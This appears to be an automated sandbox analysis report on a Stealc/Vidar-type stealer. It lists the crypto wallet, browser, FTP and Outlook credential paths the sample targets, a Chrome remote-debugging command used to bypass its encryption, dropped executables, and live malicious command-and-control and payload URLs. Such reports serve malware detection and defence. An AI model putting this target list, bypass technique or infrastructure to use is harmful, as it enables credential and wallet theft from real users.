Source: file.exe, 00000000.00000002.2737576972.0000000001070000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2737576972.0000000001070000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2737576972.0000000001070000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|

Tries to harvest and steal Bitcoin Wallet information

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\monero-project\monero-core

Jump to behavior

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\places.sqlite-wal	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\prefs.js	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cookies.sqlite-shm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\places.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cookies.sqlite-wal	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cookies.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History-journal	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\places.sqlite-shm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior

Tries to harvest and steal ftp login credentials

Source: C:\Users\user\Desktop\file.exe

File opened: C:\Users\user\AppData\Roaming\FileZilla\recentservers.xml

Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\ElectronCash\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\MultiDoge\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\jaxx\Local Storage\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Binance\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Coinomi\Coinomi\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Local Storage\leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Session Storage\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\config\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\exports\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\Local Storage\leveldb\	Jump to behavior

Tries to steal Mail credentials (via file / registry access)

Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000002	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000003	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000004	Jump to behavior

Source: C:\Users\user\Documents\DGIJDAFCFH.exe

Directory queried: C:\Users\user\Documents

Jump to behavior

Source: Yara match

File source: Process Memory Space: file.exe PID: 3660, type: MEMORYSTR

Remote Access Functionality

Attempt to bypass Chrome Application-Bound Encryption

Source: C:\Users\user\Desktop\file.exe

Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory=""

Yara detected Stealc

Source: Yara match	File source: 00000000.00000002.2736377583.00000000008C1000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2737576972.000000000107E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2138686515.0000000004CC0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 3660, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Yara detected Vidar stealer

Source: Yara match

File source: Process Memory Space: file.exe PID: 3660, type: MEMORYSTR

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB20C40 sqlite3_bind_zeroblob,	0_2_6CB20C40
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB20D60 sqlite3_bind_parameter_name,	0_2_6CB20D60
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA48EA0 sqlite3_clear_bindings,	0_2_6CA48EA0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB20B40 sqlite3_bind_value,sqlite3_bind_int64,sqlite3_bind_double,sqlite3_bind_zeroblob,	0_2_6CB20B40
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA46410 bind,WSAGetLastError,	0_2_6CA46410
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA460B0 listen,WSAGetLastError,	0_2_6CA460B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA4C030 sqlite3_bind_parameter_count,	0_2_6CA4C030
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA46070 PR_Listen,	0_2_6CA46070
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA4C050 sqlite3_bind_parameter_index,strlen,strncmp,strncmp,	0_2_6CA4C050
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9D22D0 sqlite3_bind_blob,	0_2_6C9D22D0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA463C0 PR_Bind,	0_2_6CA463C0

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	11 Native API	1 DLL Side-Loading	1 DLL Side-Loading	1 Disable or Modify Tools	2 OS Credential Dumping	1 System Time Discovery	Remote Services	1 Archive Collected Data	12 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	2 Command and Scripting Interpreter	1 Scheduled Task/Job	1 Extra Window Memory Injection	1 Deobfuscate/Decode Files or Information	LSASS Memory	12 File and Directory Discovery	Remote Desktop Protocol	41 Data from Local System	21 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Scheduled Task/Job	Logon Script (Windows)	12 Process Injection	3 Obfuscated Files or Information	Security Account Manager	237 System Information Discovery	SMB/Windows Admin Shares	1 Email Collection	1 Remote Access Software	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	1 Scheduled Task/Job	12 Software Packing	NTDS	1 Query Registry	Distributed Component Object Model	Input Capture	3 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	651 Security Software Discovery	SSH	Keylogging	114 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 Extra Window Memory Injection	Cached Domain Credentials	2 Process Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	11 Masquerading	DCSync	241 Virtualization/Sandbox Evasion	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	241 Virtualization/Sandbox Evasion	Proc Filesystem	System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	12 Process Injection	/etc/passwd and /etc/shadow	Network Sniffing	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
file.exe	100%	Avira	TR/Crypt.TPM.Gen
file.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label
C:\Users\user\Documents\DGIJDAFCFH.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\random[1].exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\Documents\DGIJDAFCFH.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\random[1].exe	100%	Joe Sandbox ML
C:\ProgramData\freebl3.dll	0%	ReversingLabs
C:\ProgramData\mozglue.dll	0%	ReversingLabs
C:\ProgramData\msvcp140.dll	0%	ReversingLabs
C:\ProgramData\nss3.dll	0%	ReversingLabs
C:\ProgramData\softokn3.dll	0%	ReversingLabs
C:\ProgramData\vcruntime140.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\freebl3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\mozglue[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\msvcp140[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\nss3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\softokn3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\vcruntime140[1].dll	0%	ReversingLabs

Source	Detection	Scanner	Label
http://185.215.113.206/68b591d6548ec281/mozglue.dlla	100%	Avira URL Cloud	malware
http://185.215.113.206c4becf79229cb002.phpge	0%	Avira URL Cloud	safe
http://185.215.113.206/c4becf79229cb002.phpd6f94fcd407bc03e2fac64c2fd51Extension	100%	Avira URL Cloud	malware
http://185.215.113.16/mine/random.exeS;$	100%	Avira URL Cloud	malware
http://185.215.113.206/68b591d6548ec281/nss3.dllW	100%	Avira URL Cloud	malware
https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696484494400800000.2&ci=1696484494189.	0%	Avira URL Cloud	safe
http://185.215.113.206/68b591d6548ec281/msvcp140.dllo=k	100%	Avira URL Cloud	malware

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
www.google.com	142.250.181.68	true	false		high

Contacted URLs

Name	Malicious	Reputation
http://185.215.113.206/68b591d6548ec281/softokn3.dll	false	high
http://185.215.113.206/68b591d6548ec281/vcruntime140.dll	false	high
http://185.215.113.206/	false	high
http://185.215.113.16/mine/random.exe	false	high
http://185.215.113.206/68b591d6548ec281/sqlite3.dll	false	high
http://185.215.113.43/Zu7JuNko/index.php	false	high
http://185.215.113.206/68b591d6548ec281/freebl3.dll	false	high
http://185.215.113.206/68b591d6548ec281/nss3.dll	false	high
http://185.215.113.206/68b591d6548ec281/mozglue.dll	false	high
https://www.google.com/async/newtab_ogb?hl=en-US&async=fixed:0	false	high
185.215.113.206/c4becf79229cb002.php	false	high
http://185.215.113.206/68b591d6548ec281/msvcp140.dll	false	high
http://185.215.113.206/c4becf79229cb002.php	false	high
https://www.google.com/async/newtab_promos	false	high
https://www.google.com/async/ddljson?async=ntp:2	false	high
https://www.google.com/complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw	false	high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://185.215.113.16/mine/random.exeS;$	file.exe, 00000000.00000002.2737576972.00000000010D9000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://duckduckgo.com/chrome_newtab	JEBGCBAF.0.dr	false		high
http://185.215.113.43/Zu7JuNko/index.phpY	skotes.exe, 00000011.00000002.3373829942.0000000000876000.00000004.00000020.00020000.00000000.sdmp	false		high
https://duckduckgo.com/ac/?q=	file.exe, 00000000.00000002.2737576972.00000000010F5000.00000004.00000020.00020000.00000000.sdmp, JEBGCBAF.0.dr	false		high
http://185.215.113.206/c4becf79229cb002.phpd	file.exe, 00000000.00000002.2746754434.000000000B783000.00000004.00000020.00020000.00000000.sdmp	false		high
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	file.exe, 00000000.00000002.2737576972.00000000010F5000.00000004.00000020.00020000.00000000.sdmp, JEBGCBAF.0.dr	false		high
http://185.215.113.206/68b591d6548ec281/mozglue.dlla	file.exe, 00000000.00000002.2737576972.00000000010F5000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://contile-images.services.mozilla.com/T23eBL4EHswiSaF6kya2gYsRHvdfADK-NYjs1mVRNGE.3351.jpg	file.exe, 00000000.00000002.2746754434.000000000B771000.00000004.00000020.00020000.00000000.sdmp, AKEGDAKEHJDHIDHJJDAE.0.dr	false		high
http://185.215.113.206c4becf79229cb002.phpge	file.exe, 00000000.00000002.2736377583.000000000098C000.00000040.00000001.01000000.00000003.sdmp	false	Avira URL Cloud: safe	unknown
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	file.exe, 00000000.00000002.2737576972.00000000010F5000.00000004.00000020.00020000.00000000.sdmp, JEBGCBAF.0.dr	false		high
http://185.215.113.43/Zu7JuNko/index.phpB	skotes.exe, 00000011.00000002.3373829942.000000000081B000.00000004.00000020.00020000.00000000.sdmp	false		high
http://185.215.113.206ta	file.exe, 00000000.00000002.2736377583.0000000000944000.00000040.00000001.01000000.00000003.sdmp	false		high
http://185.215.113.43/Zu7JuNko/index.php1	skotes.exe, 00000011.00000002.3373829942.0000000000876000.00000004.00000020.00020000.00000000.sdmp	false		high
http://www.sqlite.org/copyright.html.	file.exe, 00000000.00000002.2750226486.0000000061ED3000.00000004.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2744089459.0000000005741000.00000004.00000020.00020000.00000000.sdmp	false		high
http://www.mozilla.com/en-US/blocklist/	file.exe, file.exe, 00000000.00000002.2750360570.000000006C9AD000.00000002.00000001.01000000.0000000A.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr	false		high
http://185.215.113.206/c4becf79229cb002.phpge	file.exe, 00000000.00000002.2736377583.0000000000944000.00000040.00000001.01000000.00000003.sdmp	false		high
https://mozilla.org0/	freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	false		high
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	JEBGCBAF.0.dr	false		high
http://185.215.113.206/c4becf79229cb002.php#	file.exe, 00000000.00000002.2737576972.00000000010D9000.00000004.00000020.00020000.00000000.sdmp	false		high
https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696484494400800000.2&ci=1696484494189.	file.exe, 00000000.00000002.2746754434.000000000B771000.00000004.00000020.00020000.00000000.sdmp, AKEGDAKEHJDHIDHJJDAE.0.dr	false	Avira URL Cloud: safe	unknown
https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4pLk4pqk4pbW1pbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi	AKEGDAKEHJDHIDHJJDAE.0.dr	false		high
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	file.exe, 00000000.00000002.2737576972.00000000010F5000.00000004.00000020.00020000.00000000.sdmp, JEBGCBAF.0.dr	false		high
http://185.215.113.206/68b591d6548ec281/msvcp140.dllo=k	file.exe, 00000000.00000002.2737576972.00000000010D9000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://www.ecosia.org/newtab/	JEBGCBAF.0.dr	false		high
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	JDAEHJJECAEGCAAAAEGIEBKEBK.0.dr	false		high
https://www.t-mobile.com/cell-phones/brand/apple?cmpid=MGPO_PAM_P_EVGRNIPHN_	file.exe, 00000000.00000002.2746754434.000000000B771000.00000004.00000020.00020000.00000000.sdmp, AKEGDAKEHJDHIDHJJDAE.0.dr	false		high
https://ac.ecosia.org/autocomplete?q=	JEBGCBAF.0.dr	false		high
https://support.mozilla.org/products/firefoxgro.allizom.troppus.ZAnPVwXvBbYt	JDAEHJJECAEGCAAAAEGIEBKEBK.0.dr	false		high
https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg	file.exe, 00000000.00000002.2746754434.000000000B771000.00000004.00000020.00020000.00000000.sdmp, AKEGDAKEHJDHIDHJJDAE.0.dr	false		high
http://185.215.113.206/c4becf79229cb002.phpd6f94fcd407bc03e2fac64c2fd51Extension	file.exe, 00000000.00000002.2736377583.000000000098C000.00000040.00000001.01000000.00000003.sdmp	false	Avira URL Cloud: malware	unknown
http://185.215.113.206/c4becf79229cb002.phpG	file.exe, 00000000.00000002.2737576972.00000000010D9000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_86277c656a4bd7d619968160e91c45fd066919bb3bd119b3	file.exe, 00000000.00000002.2746754434.000000000B771000.00000004.00000020.00020000.00000000.sdmp, AKEGDAKEHJDHIDHJJDAE.0.dr	false		high
http://185.215.113.43/Zu7JuNko/index.phpe	skotes.exe, 00000011.00000002.3373829942.0000000000876000.00000004.00000020.00020000.00000000.sdmp	false		high
http://185.215.113.206/c4becf79229cb002.phpO	file.exe, 00000000.00000002.2746754434.000000000B783000.00000004.00000020.00020000.00000000.sdmp	false		high
